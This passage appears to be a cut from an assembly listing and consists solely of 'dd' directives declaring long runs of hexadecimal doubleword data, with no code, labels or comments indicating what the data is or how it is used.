0C022D5Ah, 297F0ADFh, 120705F0h dd 81BAE25Eh, 99E9FD01h, 4BD08A3Bh, 5F407FF0h, 9572FE0Ch dd 4ACA5098h, 5A29EE01h, 59738A6Ah, 0BCBC92C4h, 0E39E9C0h dd 13406ADh, 81332C1h, 388CDEEh, 734FBBF8h, 3D2E37F8h dd 0AB7114FDh, 70904C20h, 98238E25h, 826F5DD0h, 7CB92940h dd 7828EE26h, 22230304h, 4E4E01BBh, 5DA33A6h, 21A32709h dd 0A260B643h, 0C2FCC1F6h, 4D77816Fh, 3E106E29h, 62BF4A08h dd 897DF4CCh, 94F17D34h, 403BA6CCh, 1004BE9Ah, 896D5E1Ch dd 0C994A4BEh, 2406541h, 7BAA6307h, 1046253Eh, 5F52747Ch dd 0A358AEFEh, 6269BC2Bh, 4CFFF88Ah, 955B907Dh, 1EB49880h dd 0FAB5695Bh, 98C70701h, 96305378h, 0F70012E7h, 6E92A834h dd 955FFD89h, 5DA7E3D9h, 2B430F48h, 0B1E29BBCh, 58A6CAE5h dd 5BF74473h, 0F1EBA19Eh, 61D7A509h, 406AFA3Bh, 0CBFBF7A5h dd 0DEA08C02h, 682774E7h, 50AED82Ah, 125F08C5h, 408DBDE9h dd 0DBB5F264h, 125D8A9h, 0C0BAD6D3h, 5512AACBh, 79B03A4Ah dd 0CB015BCDh, 5E3F0043h, 60E96FB1h, 53F9B7C6h, 8BF17DC9h dd 6313E909h, 6981BDF3h, 6433472Eh, 75752E58h, 0F9305CB2h dd 0E9A30403h, 0E609D434h, 75409168h, 3254B3BAh, 0F0B1ABA5h dd 2A169512h, 0ACD6A927h, 41308D45h, 0D05F6037h, 4BFD415Bh dd 2D3EC9DEh, 7588C859h, 0FBB90022h, 0D1187A6Bh, 0C1B2F0F7h dd 6908AB93h, 0B36801F8h, 6B027E5Fh, 810027F8h, 7C111BEFh dd 2C5AE93Fh, 462DFC00h, 0F4627B4Bh, 3D8B950Dh, 7677F8C2h dd 2E68F1DCh, 4EF11BE4h, 76D0EA5Eh, 5BEF829Dh, 0CE61E5A8h dd 1D6DCA40h, 0CB12F93Ch, 222F89B6h, 9EDDD389h, 6BCBBC64h dd 0F6E9D230h, 0F725C4BEh, 0A42766EEh, 35B4D792h, 86EF65D6h dd 4E090F34h, 0D52EBC66h, 0A08CB9Ah, 22B10E1h, 0FE52D59h dd 84834055h, 0F3739D1Fh, 0DC0BF0A6h, 8EC5F7B8h, 57246809h dd 81BCD4F1h, 426B61C4h, 0CD7E1C8Bh, 0B43D2B8Bh, 2D4BD87Fh dd 48887C40h, 0BA2D13F0h, 800502D8h, 0D828ADC3h, 0EA56DFCh dd 0F80322F7h, 30E632E9h, 870D5F3Dh, 4030E74Ch, 599009C4h dd 0FE17D12Dh, 9AD4F42Ah, 0D952B7D8h, 95057420h, 5A7B54A3h dd 0C0D5093h, 0A8E3468Dh, 4140ED6Ah, 0CA827AACh, 0B4022BCDh dd 9C771825h, 0B01198AEh, 78B5E03h, 3EFB8C8h, 46082B28h dd 28FEDD01h, 8DC2BD90h, 0F75625D7h, 0F134CC22h, 8DF55209h dd 382F3049h, 0DE4092D9h, 5BDC3988h, 8058E783h, 15F243C7h dd 73BD2CD0h, 0D0B8C4B3h, 0F9315824h, 7B51EFF0h, 0CFAC7A38h dd 20182D7Bh, 5278FF76h, 5450860Fh, 0F56547F6h, 0FAED312Eh dd 70BC6BC6h, 70E7B850h, 0ECC42EE5h, 62960BAFh, 5F97C158h dd 2B617816h, 7CCB680Fh, 0EC5D18CCh, 310B5ECAh, 4BBE499h dd 0BCB933C0h, 36F33E47h, 0D00CF912h, 7C1303A8h, 16D67E48h dd 28FB7F4Ch, 884195BDh, 3FA91D30h, 1765A05h, 687332C5h dd 20E88954h, 0D1B7B6F4h, 976A50Bh, 0BF2FE978h, 0F2592505h dd 14C59332h, 0E600E08h, 0E7E94D45h, 47572E2Bh, 3832C64h dd 7951615h, 0AE69B3AAh, 46457F5Bh, 0DF9809F1h, 5210B453h dd 2964E07Ch, 0E9C3D3BCh, 0B3485197h, 78A0092h, 0D331C979h dd 0ABCB05Ah, 94D8C137h, 49E906F2h, 80132E8Bh, 0B1EAB3F1h dd 7F0F7FE0h, 9A7610CFh, 406CBC5h, 0EB3B55h, 0D9ECF168h dd 1AE9C1A8h, 0F9D1A05Ah, 404923Ah, 194FB0D8h, 0E7292FA4h dd 4BB3F10h, 0BA52EE01h, 5ECE1FFh, 0F9FA8CF7h, 7704FA40h dd 90C74B2Bh, 3151EF81h, 5B161D17h, 0DD44CCFAh, 5C058F94h dd 2AFCC868h, 0F4CBAA4Eh, 0BCFDE985h, 3CEA5BA2h, 2086ECB9h dd 52763E4Ch, 9615D32Ch, 511AA81h, 4F705A17h, 2A4E33A9h dd 9F4C4CCh, 0E0F07D5Ch, 0FE21E497h, 0C9BC5EA0h, 0A511F9EEh dd 954E587Fh, 318477F1h, 0BDAE55C3h, 565DF11Ah, 5A749A88h dd 2F9582Dh, 686F0724h, 96662F3Ah, 714ED1F0h, 1840FAC9h dd 1EDA7BB6h, 0B9FBF03h, 0FE180704h, 0E21E25AFh, 5E6DD146h dd 0EBA513A2h, 0DFCD2989h, 0D131B489h, 0CE893F03h, 595EF390h dd 0D76C57FEh, 1F317C93h, 90D1E3Bh, 88DCF89Ah, 150E262h dd 57449668h, 7079D24Fh, 0C5C21A7Eh, 61F85E76h, 97515359h dd 31FE552Ah, 215CC3A3h, 9CB2E86h, 0A7E50176h, 0E93A064Bh dd 80A78740h, 0EC315EE4h, 0D93108F2h, 936C7141h, 0AFEDC596h dd 3816EE52h, 31CD91FFh, 0F5524C24h, 7CBC1945h, 0C94D4F70h dd 1BAC7E6Ch, 0AC3009C4h, 5C8CA2B7h, 10DEAF42h, 0D7ACE892h dd 0D731A64Ah, 1A5C02FEh, 77C16110h, 63CD3EE0h, 0EE18A40h dd 3A1F4139h, 0E9F404BAh, 834A95FFh, 0A0DA4255h, 993FC679h dd 401EBAB5h, 70D0660h, 3EDD1343h, 0DFFB522Dh, 3CB3F340h dd 7E5E6CCBh, 0ABF3C42Fh, 189A3C50h, 0C30A22CBh, 0EB04403Fh dd 0F02E162Fh, 1557E64h, 0E921A6BDh, 0A4FFC47Bh, 7DA59392h dd 25B8A4C5h, 0BA03D96Fh, 9AC62F27h, 14546FF2h, 0F597C3AFh dd 2F76058Dh, 0F81116EAh, 0C755E012h, 0E966176Ah, 52191710h dd 16212A9h, 687A5C5Ch, 0E9BD2021h, 48E85959h, 3E2847D4h dd 0DC04EE9h, 2667A1BFh, 3F573EDh, 0E8A3A41Ah, 5C648E01h dd 0FB01539Eh, 5908AAA0h, 0A416B05Fh, 84F33714h, 2FAE99Dh dd 285CFCC2h, 77817D7Ch, 7B2B3656h, 74DE5C82h, 675727CAh dd 0A221935Eh, 0FEC5DFC1h, 0BF4D7F7h, 0C5DA5EE9h, 0AC8FBE4Bh dd 46F84E2Dh, 0EB155A9Bh, 5753C92Dh, 5C2D65E5h, 99B9C050h dd 6A5880E8h, 4DE7172Ah, 0E59B9AECh, 2A16E1A1h, 80278B5h dd 0F89A7D5Eh, 76780689h, 79400B5h, 951CE791h, 8383F650h dd 119320DFh, 3BEE6E18h, 4ED0884Bh, 908B4AAEh, 8A1278Ch dd 299531D7h, 54F58405h dd 0AC84405Ah, 20B13B5h, 996110B7h, 0FE14D3ABh, 0A601F313h dd 27AD61A7h, 1221D820h, 0E81F0660h, 8AE95BB7h, 3EA5884h dd 0C15EF729h, 0A27A38A7h, 7BF99676h, 0B16A4E4Ch, 2AC5002Ah dd 0DE01AE42h, 702FDCBDh, 0B4924FE9h, 8DB75150h, 5FDCE04Eh dd 2E12B050h, 24351B7Ah, 6B202F07h, 77095BDEh, 20331C5Ch dd 88506291h, 0D17DE734h, 6E17BD64h, 0CE044ACDh, 46053BC9h dd 0FC593EF5h, 98E9C4C9h, 9AC52ABh, 7C20B73Eh, 1B49ECBAh dd 0C1813400h, 31C65167h, 0B8D16229h, 235DB979h, 1F0F86ABh dd 576AB132h, 81DD5EBEh, 0BA68C8BFh, 0CFB3382Bh, 803A98ACh dd 206617C6h, 5EF0BCF5h, 0BF5E0CA3h, 3BF7D96Ch, 0B3168E1h dd 73D43AC1h, 9624782Dh, 0C04005FCh, 343DE752h, 1852DF01h dd 38501C08h, 0C45BB637h, 0E2FF8354h, 3E127B5Eh, 710039BEh dd 0F3EFCC88h, 740C0B2Dh, 995C1E65h, 0E9160720h, 8530C5E1h dd 2E4CF2BDh, 16CB4048h, 8667EA0Fh, 0A9D2FAA2h, 58DB87CCh dd 81B7489Fh, 88653DE1h, 0D6BB4063h, 0D912C4D0h, 0F5C50CE9h dd 4D1DD0AFh, 525A34A3h, 0D106CADh, 0EB8003F8h, 0D1DE300Fh dd 3265E661h, 3AA5ED2Ah, 2DD8BF5Bh, 3E57943Eh, 0EB90C101h dd 0F52D25FBh, 0CB855362h, 0F2A940D1h, 56CF743Eh, 5EFA8DA0h dd 5810DD25h, 4DEC34F4h, 1BD7FE3Bh, 0E1B1D9A5h, 0C36FF72Bh dd 4CDBF5E9h, 57A13A64h, 5F064268h, 7F2DEFD6h, 1EFD59B2h dd 0B1D195A5h, 2208582Ch, 0B4500181h, 86CCFE9Dh, 3E4C004h dd 1344B00Ah, 0C2D0E9AEh, 0E18297D6h, 420ACE8Ch, 1D28FF3Dh dd 419008B5h, 0E3C65A30h, 6037DCEEh, 86F668FBh, 3160ED21h dd 0A9EB550Ch, 0A9895BFCh, 37AA9264h, 2A7E6BD1h, 0AFEDFB25h dd 0D4511CF7h, 5D70C643h, 5D9E3B95h, 0B5FABC3Dh, 5D5242F6h dd 15A78E98h, 65C7BDC0h, 3E7FD9EAh, 9A98F829h, 9EBF8EFDh dd 0D75802F0h, 1853273Ah, 3056D949h, 5FFA1363h, 36175221h dd 0EE40BDE9h, 0B6183EB9h, 672961Fh, 48F7F987h, 7738F030h dd 17EE36C5h, 0A0895A14h, 4564A30Bh, 0F4BFC61Dh, 0F6670A68h dd 0C4C45A8Eh, 78272DABh, 0D71AB287h, 144F204Ch, 0B72886B1h dd 548A2A6h, 564F1735h, 7B7AD7B3h, 66584C20h, 4BD64009h dd 38BDD158h, 54F899Dh, 60685920h, 36215136h, 5515583Fh dd 50280E1Bh, 802520DFh, 62B62C27h, 0DBA58550h, 502F3FE2h dd 6834A3DDh, 64BFAD8Ch, 0D900C1A3h, 93E82243h, 743869AAh dd 7770C79Bh, 0E7CE6AE1h, 0FF7ABD2h, 4080AE50h, 0C5A5ADB9h dd 6B685080h, 64771A57h, 16B3DE58h, 8819FC0h, 0F743261Ch dd 20CD83D1h, 0CFE01DF3h, 47F3096h, 19684709h, 92F14444h dd 88FE404Bh, 8058E207h, 71B24DF2h, 13214482h, 4B56266h dd 0D7E50BF0h, 24826161h, 4EF82B72h, 4A08C128h, 8224ED5Eh dd 905DA668h, 80B864h, 252DFE60h, 704D39F6h, 9635C97h dd 0A8791A1Bh, 0DF0688B8h, 3ACA8175h, 2A4BFE7Bh, 0F4CACB2h dd 0CE96F936h, 0BD5C620h, 4BB31CB5h, 2C3EA276h, 74AF2EF9h dd 78273C85h, 564A8D00h, 12056851h, 590E777Eh, 738A04BBh dd 277E2C8h, 0D006E7C0h, 0DCC4D7EFh, 0BFB27EC4h, 5AB180EEh dd 9009C780h, 24721CE9h, 2CEBB345h, 0D3B2A3B5h, 59C82900h dd 8B64722Dh, 278EA0Eh, 681A6C55h, 14D960DCh, 3904B99Ch dd 858C4549h, 0F09425E9h, 23019421h, 0C5F84395h, 60C86CD0h dd 0A309E5ECh, 0FA5E6D59h, 2628FCBAh, 26A4473h, 6E667C52h dd 78272055h, 0E23106C7h, 9F5974CDh, 85BA01D4h, 716592B9h dd 0EAFB35FEh, 0C1573E1Dh, 2CC91420h, 1AC09D9Ah, 0E277835h dd 13641669h, 0B8BF31E9h, 0BA52E046h, 13C1E091h, 0F146E918h dd 6AF3EA7h, 3E04EBABh, 0EA75E260h, 4ECB0222h, 426E56Dh dd 0C0901308h, 5AF38058h, 0ECD3F62Ch, 0DA884405h, 7FADECC2h dd 277F17ABh, 0F79BE1Ah, 0C032E641h, 5258381Eh, 56A0EAC8h dd 316553E9h, 6D315C22h, 0B38BF496h, 7F5E5EF2h, 0CDB89958h dd 0E02209BEh, 54991E81h, 0D59A55A7h, 20224E7Dh, 0B900780Ah dd 1CF45288h, 3745F181h, 608AAB59h, 27145DADh, 7BE32951h dd 5D5EC125h, 0A9E5A53Eh, 0BD9F5EC2h, 169E339Bh, 1D5DBAB4h dd 413203F6h, 0BC54F213h, 210F0E29h, 0A003EBC8h, 0B7DBB608h dd 0FEF7E043h, 0FD824A6Ah, 0BBD9DE2Ah, 0E7EC5DD9h, 0F7810205h dd 8B3D88E0h, 0F165C8DDh, 0D1CAA15Eh, 1F9EF36Eh, 0A09A32Dh dd 20A9D41Fh, 18882D07h, 4F2CA7F9h, 2D024D10h, 2FB44E94h dd 684335C2h, 0CBFED312h, 3C040510h, 0C0EF0480h, 0F8506E3h dd 28D1FE91h, 9EB2F070h, 87B12467h, 0B4796B62h, 5DD9F092h dd 7E3C682Dh, 0CFB6C255h, 5C49CAFCh, 54A508B5h, 0E582B40Eh dd 0A097731Eh, 5B8769C0h, 0C3E8838Bh, 71BFFEC9h, 0A4A0C997h dd 3113792Dh, 690B1290h, 86052C30h, 0B538B69Eh, 14C4715Eh dd 0B4B0DA45h, 0C52C339h, 0E1831058h, 5BDE290Bh, 75B04A7Dh dd 524DA052h, 12504C58h, 58D1B1B0h, 5F0133B8h, 0C263F568h dd 5122D657h, 0D0002E12h, 4A5AF4BDh, 4F81B85Fh, 91FB734h dd 0FE568D68h, 833673Eh, 2CC3DE25h, 293A0253h, 0F8C02E7Eh dd 1FD6586Ch, 0D104A6EDh, 8071463Dh, 0D8FBD66Ch, 95897E2Eh dd 3DE9DC13h, 8773C42Fh, 0FED7F661h, 66017DF2h, 259CE9FCh dd 2D292E7Dh, 0E7404FFBh, 4AFA5F59h, 0ADBA20D0h, 0DF2F89FDh dd 0C830976Eh, 8DF1974Dh, 87A332E6h, 680170ACh, 884C7CE8h dd 0BCFF252h, 5A49B353h, 559F847Bh, 8F382CC5h, 58EDDE81h dd 7C5DC112h, 0DCB58C26h, 0CE4AB192h, 327780EFh, 0D8B5CB28h dd 0BEF080E6h, 9E18BCEEh, 0B6FD2DA8h, 0E8FB9DBEh, 3C95E986h dd 36680541h, 4457C3Eh, 80DAF7FBh, 83BDCFA2h, 0FA29BA03h dd 25B8F1E9h, 0CA57C5A9h, 0BF8F2671h, 256C97E1h, 0C04E577Dh dd 41BEBDC0h, 0A8F65E77h, 7A3C09E2h, 0F20D0442h, 1881BAA1h dd 0E472E3C9h, 1B626431h, 17A74024h, 8A19BF00h, 90CA0102h dd 59088019h, 42059721h, 7D6AB806h, 3E64A513h, 0D8697A07h dd 3D83ADAAh, 7D2A6E79h, 75230B68h, 61576014h, 1D25258Bh dd 0D22AAE2Bh, 4AC9FB4Ah, 5947FDEh, 6268FDC2h, 0B076C55h dd 11634BE9h, 912F6CF6h, 0EAF4537Bh, 26FF4C68h, 0C5DE1FF4h dd 0C2605822h, 0BAC1515Dh, 5746CC47h, 4AEAD112h, 4C34C9F4h dd 0C71CD374h, 3132897Bh, 0C073727Fh, 92F13ED2h, 0CA480905h dd 0CABF2F8Ah, 5BD9D7A7h, 0D6FF7C6Ch, 0B19BB8D6h, 246FEEC7h dd 73C1AFBFh, 0F30739D9h, 5E09AE76h, 2E5C1h, 87EE181Bh dd 0AED4BD08h, 0D3EB4550h, 0F68AAF2Eh, 16D75127h, 1371B59Fh dd 0BB6D4018h, 507B7EACh, 9748AA28h, 0B442B8FCh, 0EE6D581h dd 0E34D68F2h, 9AA54EA7h, 5E91BC6Eh, 4B912ABBh, 9057F9E4h dd 3BBC2F64h, 9DD61218h, 0A4EBC182h, 1E70BDC1h, 0B379401Dh dd 0D7686F0Ch, 5FEDFF12h, 0EB6120D2h, 16B07F76h, 0A2D0AAB0h dd 0B2F95AAFh, 21929143h, 4C70C73h, 0A45C0BAAh, 244C1871h dd 2B5B81DAh, 2E6206B2h, 5E09D77Bh, 0C0521342h, 0C04C945Fh dd 0ECB8675Fh, 7E960741h, 0E92690C7h, 0F99DF6C1h, 0E2123CF7h dd 0B084FCE1h, 2D47A02Dh, 27080388h, 685A0207h, 0CDDF2099h dd 95F9222Ch, 472FA764h, 978564ADh, 0EB991C63h, 9D06AC04h dd 4AA9608h, 0BE1F5868h, 37DFDC30h, 810101D9h, 0F93246F6h dd 36B32E2Fh, 33435C09h, 0FDF65E84h, 4F83D086h, 66CE05EEh dd 1A90D8Fh, 0F3C43A8Dh dd 0AB7997AAh, 504AF050h, 95EAF398h, 0D5885A83h, 4060E892h dd 0ADC601B6h, 27294B30h, 0CD4A38C8h, 0E34A00F5h, 369BA2Ah dd 4B70B951h, 5EB0C499h, 8BA0159h, 92BFF04Ah, 78FFBB7Fh dd 751397BEh, 0A07F30FAh, 21A0F2D6h, 0C2EDA149h, 980534DCh dd 9CEA021Fh, 29FDCD37h, 0F6C51C68h, 35551D0Fh, 38109701h dd 2DE91508h, 0F3BA0EB3h, 7F06096Bh, 2F056A69h, 0FD439980h dd 1C214A3Ch, 7381FFB1h, 14E940E0h, 0FC913AF9h, 62ED04DBh dd 1005F800h, 0C2834A13h, 72202604h, 0B4A25488h, 97B90AE3h dd 56140F8Eh, 0F9A6F964h, 1D517E7h, 58EC309Dh, 416DD1Eh dd 4979CC68h, 85B5718h, 0FCF898BDh, 12DFC317h, 5E795D06h dd 0CFF34132h, 3A252051h, 7F342F41h, 0BC3BBC7Ch, 0C0442782h dd 0F1665841h, 4A250932h, 36EB37C0h, 45535500h, 2E323352h dd 0E06C7164h, 56443941h, 0D495094h, 0E7544EC7h, 0A30A1A4Ch dd 0EF3CC001h, 0E9175D5Fh, 0DB4708BBh, 81899EF5h, 0FDE28E2Dh dd 64883920h, 2184159Fh, 5817A07Ah, 24A1B042h, 0A2312170h dd 0A3196612h, 9E115C12h, 2895208h, 0A137F8h, 0EA80A951h dd 38CE4B9Ah, 1918E800h, 61C83383h, 49B200CBh, 0BE54D526h dd 0A100906Eh, 0EB46BB0Bh, 0C0FA0555h, 0C6B3CC44h, 7B1771E2h dd 39036A5Ah, 80331F57h, 7FF4E198h, 517600B1h, 55D42634h dd 41750F1Dh, 5192B00h, 3B38F9A2h, 0F7E2001Ah, 93339C80h dd 4D00BFE8h, 0B6738896h, 7299D169h, 0C5520086h, 4D23138h dd 0B91ECEB7h, 3A9CE8CCh, 6AA27040h, 2993C4h, 40836072h dd 58A58477h, 0E10CC001h, 98ABE361h, 80F5C8h, 5B70371Fh dd 21A28A6Eh, 0F3124003h, 0A32206h, 76DCAA0Eh, 0AB62303Eh dd 0CF009D73h, 75D0E239h, 0A9091Bh, 95846173h, 14EBF72Fh dd 7F91D03h, 13FF438Fh, 0A0FAE01Ah, 1098BB24h, 800A5A39h dd 9253A339h, 0A1F187h, 0EC3CD25Fh, 6B841A0Fh, 1CDF0200h dd 0D727770Dh, 74C4055Ah, 0C60EA48Dh, 850A44E3h, 0B99B7F6Ch dd 0B83D2380h, 0AE39C6h, 0F890DD4Ch, 4E5C4592h, 317EB300h dd 6610964Bh, 0D0D700F2h, 5B8C326Ah, 4D003AF1h, 51786F28h dd 9E91A3h, 33E46E53h, 84A0AEE6h, 0F405D5E0h, 0EB510A73h dd 0CDBE001h, 27E4F5F2h, 917450C1h, 4AB100BFh, 62C86995h dd 450C7D15h, 4AFE0353h, 0E8FB0104h, 0E4E33B13h, 5C80E443h dd 1AB0AE5Ah, 39DD15BAh, 4E009367h, 9DED8396h, 3614CC5Dh dd 3B8BFFE6h, 0CF659234h, 17ADF500h, 7295FEh, 0BA0AA089h dd 757ED44h, 51304892h, 0FF1844AEh, 732E2812h, 0D0B61093h dd 41F8064Bh, 1C8022Fh, 659D4ABFh, 0E725DABCh, 34C224C0h dd 4597410Eh, 5B78447Ch, 23E993h, 0E70D623Fh, 5491D407h dd 0BB768901h, 1E02EF04h, 0D8A61582h, 4542AEA0h, 28C0E620h dd 0F9030BC2h, 869FE7EFh, 0ED14F808h, 0E40C7B44h, 77A11D76h dd 0F1A80051h, 7D131EE3h, 0BE142600h, 6C444E85h, 87D20086h dd 27377753h, 0D100DD15h, 0CBB40130h, 1CEB3EBDh, 13CE069Eh dd 63C1E0BFh, 2FABB5C0h, 12DD9404h, 0C58DF0h, 0B14715C7h dd 93169E61h, 1900CADCh, 8B5C4992h, 7C77F853h, 3825004Ch dd 575FF996h, 1900D09Eh, 843BF60Bh, 0B41372h, 14BC3E3h dd 7A87D7C9h, 886AB700h, 7E96BA77h, 0CDFFA57h, 756D11EEh dd 0A4764095h, 6B058FF6h, 0DD828BEh, 0DA268000h, 71C157h dd 0F0099F8Ah, 92976487h, 52ACFC00h, 8F949DFh, 43931829h dd 0F10A44BCh, 74200414h, 0C2A808F2h, 0C9AB803Dh, 13AEFB36h dd 2D5BB105h, 0CF01D2B7h, 0CCB09DB2h, 8680D657h, 0C0D513F7h dd 67CD9B0Eh, 0FD5032DBh, 5D0372FFh, 11167D4Bh, 4DDCC0FEh dd 92850069h, 22D9F154h, 0BCE6BA07h, 3C12842Ch, 0BFBD80B8h dd 2FEB5FADh, 416D0703h, 7002FD09h, 0CB3D66E2h, 2C27140Ah dd 833DF993h, 552DF21h, 974BB01Ch, 0D35A3C79h, 59679F00h dd 0AE02DE3Dh, 0F5AFD700h, 0E40FF98Fh, 44BD4C74h, 57184158h dd 42215CFDh, 80605838h, 2B01D7DDh, 75FCE41Dh, 0B319C00Fh dd 5F477FE5h, 0B27CB512h, 616FB809h, 0B680413Fh, 3D84D8F0h dd 0E70E1FA8h, 0BF480A6Ch, 0C609F603h, 49B21D41h, 1E6B803Bh dd 72404E86h, 0D840509h, 75DD8062h, 6323DA42h, 0F931560Eh dd 318BC7A9h, 402DF4DBh, 0D8903190h, 0DE16E400h, 39B502D0h dd 0E79E040Eh, 0C0A344FAh, 3FF6C4CDh, 0E21C2A04h, 5CC0024Fh dd 0ED926h, 58F03DECh, 0F30C5CF2h, 41A3E09h, 8CBB8022h dd 0F13F0BAFh, 0AB6E7600h, 35C51500h, 0D70E5EF4h, 5CAC0042h dd 0A7F78DA4h, 3F00D554h, 619ABD26h, 0E232C8h, 2F7F151Ch dd 79C95FD2h, 40448660h, 92563A27h, 0F8DE0136h, 91FB2C73h dd 69806ADAh, 0CE639Ch, 3683E981h, 0F6170650h, 38601A00h dd 22AF9AD2h, 0E8B798E6h, 8F9D0154h, 0A78A7572h, 2AE0CF41h dd 0BDFADAD2h, 85122800h, 3B2F19E2h, 0AB9D09D5h, 0D987A65Bh dd 5A7C6069h, 0BD0023F1h, 0C0718E70h, 23B8C9Ch, 3714E4E8h dd 0DDBE93h, 2CEDF7C5h, 0B4462496h, 0C35682BBh, 0D181DD2Dh dd 0E4D32878h, 3E00A7C0h, 0B349E01Bh, 0E0969B63h, 185179B0h dd 4405FA4Ah, 0BB14A8C1h, 98175D7h, 80F4795Fh, 0AAE24FFEh dd 0D061009Eh, 0D35EA183h, 0F21D0E1Ch, 7CC0073Fh, 8163B069h dd 66B3017Eh, 4754A292h, 0F86EF4DEh, 0BFD38224h, 9B42CE02h dd 7ABD40FEh, 0E255B84Ah, 0E6150323h, 265EF643h, 1069CBB4h dd 751DCA6Dh, 9BE8A7h, 0A9F63BC6h, 8173AB11h, 16572C00h dd 0E69D0F38h, 2C376D1h, 0D40CA4F1h, 50E8A6E9h, 22120F2Eh dd 0C100073Eh, 4AFC1DC8h, 0A916387Ch, 21DDEB01h, 949D8110h dd 19E2723h, 0A0BF7109h, 1983CFB3h, 0EB238957h, 6DD53A80h dd 0F1220200h, 9CE3D087h, 0FF750083h, 85014E1Ch, 3300EA52h dd 5C9A9046h, 7421005h, 0AF827D8Bh, 1A17E0F8h, 92247663h dd 893B60BCh, 8922144Ch, 0B57C80F9h, 7DB56A9h, 62A7BB7h dd 6C10A031h, 9102BEh, 527643F4h, 62ED0981h, 6A6E004Fh dd 0D7E59Ch, 1A71072Ah, 4D7AB908h, 0CB001A98h, 0F06126ADh dd 6CD24Fh, 58D92834h, 7C6B93A1h, 44AA7F01h, 7E275FF7h dd 92E4A825h, 0C16B85Bh, 5159FDDAh, 800064DBh, 47B30399h dd 0FC4CE2h, 4A9A30E9h, 95E57BB6h, 14EA6662h, 132350ABh dd 122ED020h, 4D8C01C9h, 0BD9867B7h, 28158C44h, 20CCDB44h dd 475061E6h, 580C0F9Bh, 0E04EE06Bh, 2BD000E8h, 0B319B1FEh dd 0D912E7FCh, 3930C30Ch, 8EC65Eh, 1EB47D82h, 61B7B5C7h dd 8253473Fh, 7F933971h, 0D6E4AFh, 2A77B248h, 88752C92h dd 86B9AE30h, 11B6836h, 185F2032h, 30DF3D2Fh, 9F2DBCAh dd 4B4DBC00h, 0F9E379B0h, 0CE5F50D1h, 7AFB00DFh, 0E299675Ah dd 0BD012AD4h, 0BA3F041h, 29D4F5A5h, 0A63AB8DCh, 6F7D00C7h dd 0D069A190h, 49E031CEh, 0B06A3701h, 0D940211Ah, 98BB08CCh dd 67090337h, 42CB1718h, 2840D1B2h, 747FC170h, 0FAD59728h dd 1E9BA58h, 4614B6BEh, 61306A19h, 0D7A20088h, 978EA739h dd 0B0059CCh, 959466FDh, 4AB048h, 98AF3D23h, 0E434CA67h dd 0C9161B00h, 0C81514E7h, 0F60400F4h, 0FB91A05Fh, 0BFB050ABh dd 0FA00A1B0h, 46DE2B06h, 3EFFA8E0h, 30140116h, 0B800A334h dd 8337B2EAh, 7E0B8C72h, 8B28D2E0h, 55992058h, 3B33F605h dd 3880FDE6h, 6981CC52h, 7F128BC3h, 86016582h, 0FE4BB149h dd 0C05FB792h, 5D4A339Ch dd 0C40F794Ah, 95CD0001h, 98B77289h, 1AFE3B18h, 0D4A21C60h dd 0A5EAAA9Ch, 7E3F8C0Ch, 48F26A5Ch, 4C0E4166h, 4BA0916Ah dd 0FD8258A6h, 0AE3C8A00h, 33C96897h, 0CB1C3AE3h, 0C8003B48h dd 0EED8F7DBh, 98C07F12h, 2C192EE5h, 17D348h, 3821CAA9h dd 45075B26h, 0BBA4CE2Bh, 0EF91EA37h, 3EE07212h, 1FA0F06h dd 0AC2007DEh, 6379AD5Fh, 972BD43Eh, 4B402070h, 37EE5E89h dd 361B3F4Ah, 81960F80h, 0D657B094h, 6A381813h, 90110186h dd 56640000h, 869BF288h, 1BC0B599h, 91376F3Dh, 0EDB066h dd 402C4C2Dh, 0AEE65EE4h, 33019B72h, 3B15BCF8h, 0B30B66Dh dd 78C50F6Ch, 1A2051E0h, 0DDF51EC0h, 0A90F2200h, 19E6C871h dd 32C4DCEh, 972F7C00h, 0B44B9B31h, 8C307D3Dh, 3D614532h dd 0E31B00E9h, 55E266F8h, 6C00A0D6h, 0F938C79Eh, 0EC1363h dd 65808E45h, 0F1D37CB4h, 0D50009B0h, 3D14E230h, 0D96FC2h dd 8F717689h, 250CF2A2h, 0DA40D805h, 0BA97E98Dh, 13584C00h dd 0FB1E0AC6h, 82DDCCAEh, 0B2FF32CFh, 0D4B64368h, 247E275Ch dd 0B40A49D3h, 11120CD2h, 89BDB914h, 4B70516Fh, 0E8901153h dd 0A82FEED6h, 0DB5C815Ah, 28D3F42h, 2715CFE4h, 8B60795Ah dd 0F3006AE5h, 0FDB9512Bh, 9F69EC6Bh, 8D82A474h, 750AD072h dd 0E1FE9B0Bh, 803A5FD1h, 2552A3B3h, 0F631082Fh, 478F8FD7h dd 0BA778107h, 9ADD270Fh, 5CD7DE0Eh, 0E2E95C0Bh, 171B80D9h dd 0F677558h, 0A614B8B9h, 0C50305A3h, 5646E0E8h, 0AA1D7800h dd 0B70FF6E1h, 18E440h, 691FF806h, 3F92EE65h, 93276F00h dd 0C6426461h, 54B10040h, 0DE72323Eh, 0BD385DCEh, 0F54C81F2h dd 0FB0317A5h, 307734C8h, 0F7990EE8h, 0C603F964h, 88D4749Dh dd 5D5BA03Ah, 0F930BDFh, 66C4038Bh, 0E95AC214h, 9BC1001Dh dd 24728E31h, 0BD1903B2h, 5A324D2Ah, 3AC281B0h, 12B36C40h dd 0AFC92BB4h, 9171FA04h, 1106DCE8h, 4F0A800Fh, 9CBC84ECh dd 39ABBB41h, 0AA6CB02Ah, 4276B572h, 137CE306h, 3182C51h dd 76DA3CCBh, 397F0DE9h, 0C3C8A200h, 7EC2D139h, 0E5510014h dd 0EF819921h, 0ED048C36h, 0B2CC8004h, 0B00A2583h, 310F85D4h dd 0E9451582h, 0E60B8010h, 6C15ACAh, 258200DFh, 0EC8021DAh dd 7A252C2Fh, 49D667h, 81C6BF0Fh, 639774F9h, 8C85C93Ah dd 0D7FD7h, 690DAAF7h, 0EBF9C14Bh, 0B9F20805h, 56C1514Fh dd 99F050ECh, 1F341D68h, 2B4B0E9Ah, 0F189E880h, 5367EDA8h dd 0DF41B521h, 11808151h, 77CCFFCBh, 683C9D0h, 34AEAA38h dd 410211E5h, 465A9CD8h, 3C103A2h, 0ADAA91E8h, 8A71988h dd 711ED080h, 8BD2823Fh, 136B8307h, 0C81F4EE1h, 9F06A852h dd 0BDC5D4B8h, 0C1F57408h, 422FC020h, 0EC90054h, 641F7387h dd 0C0B5107Eh, 1632FE7Bh, 8CCE4200h, 0D798D379h, 1F761F4Ah dd 26C64180h, 0DDFA75EEh, 2391F06Eh, 0C96024F0h, 0F5DF3610h dd 1D7901C4h, 68EB1EDh, 0EFA7E09Ah, 941FBBF8h, 8F0AF018h dd 0E80F14C1h, 0DF0480BCh, 0EA81D668h, 0A9A21869h, 